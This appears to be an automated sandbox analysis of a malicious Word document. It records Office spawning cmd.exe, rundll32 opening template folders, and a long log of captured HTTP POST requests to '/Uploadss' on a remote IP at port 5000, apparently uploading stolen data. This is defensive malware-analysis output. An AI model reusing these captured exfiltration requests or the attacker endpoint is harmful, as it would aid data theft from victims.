Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C0B230 _Bitmask_includes,operator&=,_Bitmask_includes,_Bitmask_includes,operator&=,_Bitmask_includes,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,operator&=,std::_Fs_file::_Fs_file,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,_Bitmask_includes,GetFileInformationByHandleEx,GetLastError,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,operator&=,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,	16_2_00007FFD92C0B230
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C0B1C0 __std_fs_close_handle,FindFirstFileExW,GetLastError,	16_2_00007FFD92C0B1C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF18C0 FindFirstFileW,new,delete,delete,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,delete,delete,delete,FindNextFileW,FindClose,delete,delete,	16_2_00007FFD92BF18C0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92CCDD10 type_info::_name_internal_method,FindFirstFileExW,Concurrency::details::_Scheduler::_Scheduler,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,FindNextFileW,std::_Container_base12::~_Container_base12,std::_Container_base12::~_Container_base12,	16_2_00007FFD92CCDD10

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\Theme Colors\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Source: winword.exe

Memory has grown: Private usage: 1MB later: 100MB

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 172.104.160.126 5000

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8099
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 8099
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49220
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49230 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49230
Source: unknown	Network traffic detected: HTTP traffic on port 49231 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49231
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 49239 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49239
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49240
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49242
Source: unknown	Network traffic detected: HTTP traffic on port 49243 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49243
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49246
Source: unknown	Network traffic detected: HTTP traffic on port 49247 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49247
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49248
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 49250 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49250
Source: unknown	Network traffic detected: HTTP traffic on port 49251 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49251
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49252
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 49254 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49254
Source: unknown	Network traffic detected: HTTP traffic on port 49255 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49255
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49256
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49258
Source: unknown	Network traffic detected: HTTP traffic on port 49259 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49259
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49260
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 49262 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49262
Source: unknown	Network traffic detected: HTTP traffic on port 49263 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49263
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49264
Source: unknown	Network traffic detected: HTTP traffic on port 49265 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49265
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 49267 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49267
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 49271 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49271
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49272
Source: unknown	Network traffic detected: HTTP traffic on port 49273 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49273
Source: unknown	Network traffic detected: HTTP traffic on port 49274 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49274
Source: unknown	Network traffic detected: HTTP traffic on port 49275 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49275
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49276
Source: unknown	Network traffic detected: HTTP traffic on port 49277 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 49279 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49279
Source: unknown	Network traffic detected: HTTP traffic on port 49280 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49280
Source: unknown	Network traffic detected: HTTP traffic on port 49281 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49281
Source: unknown	Network traffic detected: HTTP traffic on port 49282 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49282
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49284
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49287 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49287
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49288
Source: unknown	Network traffic detected: HTTP traffic on port 49289 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49289
Source: unknown	Network traffic detected: HTTP traffic on port 49290 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49290
Source: unknown	Network traffic detected: HTTP traffic on port 49291 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49291
Source: unknown	Network traffic detected: HTTP traffic on port 49292 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49292
Source: unknown	Network traffic detected: HTTP traffic on port 49293 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49293
Source: unknown	Network traffic detected: HTTP traffic on port 49294 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49294
Source: unknown	Network traffic detected: HTTP traffic on port 49295 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49295
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49296
Source: unknown	Network traffic detected: HTTP traffic on port 49297 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49297
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49298
Source: unknown	Network traffic detected: HTTP traffic on port 49299 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49299
Source: unknown	Network traffic detected: HTTP traffic on port 49300 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49300
Source: unknown	Network traffic detected: HTTP traffic on port 49301 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49301
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49302
Source: unknown	Network traffic detected: HTTP traffic on port 49303 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49303
Source: unknown	Network traffic detected: HTTP traffic on port 49304 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49304
Source: unknown	Network traffic detected: HTTP traffic on port 49305 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49305
Source: unknown	Network traffic detected: HTTP traffic on port 49306 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49306
Source: unknown	Network traffic detected: HTTP traffic on port 49307 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49307
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49308
Source: unknown	Network traffic detected: HTTP traffic on port 49309 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49309
Source: unknown	Network traffic detected: HTTP traffic on port 49310 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 49311 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49311
Source: unknown	Network traffic detected: HTTP traffic on port 49312 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49312
Source: unknown	Network traffic detected: HTTP traffic on port 49313 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49313
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 49315 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49315
Source: unknown	Network traffic detected: HTTP traffic on port 49316 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49316
Source: unknown	Network traffic detected: HTTP traffic on port 49317 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49317
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49318
Source: unknown	Network traffic detected: HTTP traffic on port 49319 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49319
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49320
Source: unknown	Network traffic detected: HTTP traffic on port 49321 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49321
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49322
Source: unknown	Network traffic detected: HTTP traffic on port 49323 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49323
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49324
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49327 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49327
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49328
Source: unknown	Network traffic detected: HTTP traffic on port 49329 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49329
Source: unknown	Network traffic detected: HTTP traffic on port 49330 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49330
Source: unknown	Network traffic detected: HTTP traffic on port 49331 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49331
Source: unknown	Network traffic detected: HTTP traffic on port 49332 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49332
Source: unknown	Network traffic detected: HTTP traffic on port 49333 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49333
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49334
Source: unknown	Network traffic detected: HTTP traffic on port 49335 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49335
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49336
Source: unknown	Network traffic detected: HTTP traffic on port 49337 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49337
Source: unknown	Network traffic detected: HTTP traffic on port 49338 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49338

Source: global traffic

TCP traffic: 192.168.2.6:49191 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 763Content-Type: multipart/form-data; boundary=------------------------f9fa7306880345da
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 160166Content-Type: multipart/form-data; boundary=------------------------f13a1e66d9ac3858
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 106918Content-Type: multipart/form-data; boundary=------------------------3db099609e8ee48c
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 5243310Content-Type: multipart/form-data; boundary=------------------------f661165eccdedd9dExpect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2fe595d5319db200
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4b737e61e1b7e9bf
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4e35b57d9f58fc90
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------815ab7d36e08e457
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a5d52e19e3fe200b
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------ec3ba31dfe96d326
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f22aeea0bd5a0f8e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------d8bdcfc228d82f5a
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------cfe9280e100efce1
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------904a2babf6d2f7ac
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f49946b6384ac060
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b85ce3e308f45060
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------614e08f55f0c2cfe
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------bea6c7b09692f28c
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------23dd402f4b4a39c5
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------e591042c4603c21a
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a0f76a6adccf351c
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------c4d90e433018b142
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------d2ca679a5d8f632b
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 763Content-Type: multipart/form-data; boundary=------------------------72fb5c35750f8204
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 160166Content-Type: multipart/form-data; boundary=------------------------43289e4b14c04ac7
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 106918Content-Type: multipart/form-data; boundary=------------------------71ca7f7e591272d4
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 5243310Content-Type: multipart/form-data; boundary=------------------------727b88163de31621Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------528cb38273400043
